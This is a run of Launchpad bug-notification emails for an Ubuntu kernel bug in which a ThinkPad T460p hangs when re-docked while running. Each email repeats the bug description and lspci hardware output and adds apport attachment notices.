  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   

[Kernel-packages] [Bug 1781904] ProcCpuinfo.txt

[Martin Dünkelmann]

apport information

** Attachment added: "ProcCpuinfo.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164168/+files/ProcCpuinfo.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- 

[Kernel-packages] [Bug 1781904] ProcCpuinfoMinimal.txt

[Martin Dünkelmann]

apport information

** Attachment added: "ProcCpuinfoMinimal.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164169/+files/ProcCpuinfoMinimal.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- 

[Kernel-packages] [Bug 1781904] Re: ThinkPad T460P Ultra Dock Can't dock it while running

[Martin Dünkelmann]

apport information

** Tags added: apport-collected tara

** Description changed:

  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  
  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara
  
  Ubuntu 18.04
  ThinkPad T460p
  
  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.
  
  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.
  
  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.
  
  I attached the dmesg log.
  
  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):
  
  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore
  
  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp
  
  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp
  
  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915
  
  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd
  
  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal
  
  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me
  
  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci
  
  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp
  
  00:1c.4 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#5 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: 

[Kernel-packages] [Bug 1781904] AudioDevicesInUse.txt

[Martin Dünkelmann]

apport information

** Attachment added: "AudioDevicesInUse.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164163/+files/AudioDevicesInUse.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- 

[Kernel-packages] [Bug 1781904] CRDA.txt

[Martin Dünkelmann]

apport information

** Attachment added: "CRDA.txt"
   https://bugs.launchpad.net/bugs/1781904/+attachment/5164164/+files/CRDA.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

